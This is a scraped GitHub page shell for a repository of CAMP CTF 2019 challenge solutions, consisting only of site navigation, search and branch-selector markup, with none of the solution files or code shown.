Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="205657999" data-scoped-search-url="/OlfillasOdikno/CAMP-CTF-2019/search" data-owner-scoped-search-url="/users/OlfillasOdikno/search" data-unscoped-search-url="/search" data-turbo="false" action="/OlfillasOdikno/CAMP-CTF-2019/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="zp7HCgZT4UrzylHXrp1UMB90WaxLSMGHDmyzVoyC3eT9xWCALWS5NtYEpZ4m9qFQtMtoLHmweKdXPiBDti/YJQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> OlfillasOdikno </span> <span>/</span> CAMP-CTF-2019
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>2</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/OlfillasOdikno/CAMP-CTF-2019/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":205657999,"originating_url":"https://github.com/OlfillasOdikno/CAMP-CTF-2019/tree/master/solutions/Enterprise%20(Nexantic)%20DevOps","user_id":null}}" data-hydro-click-hmac="a73b9ca34a62c8129a8bcf9e2a1b225100c047d749b61de413bb8546100c0a1e"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/OlfillasOdikno/CAMP-CTF-2019/refs" cache-key="v0:1567333932.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="T2xmaWxsYXNPZGlrbm8vQ0FNUC1DVEYtMjAxOQ==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
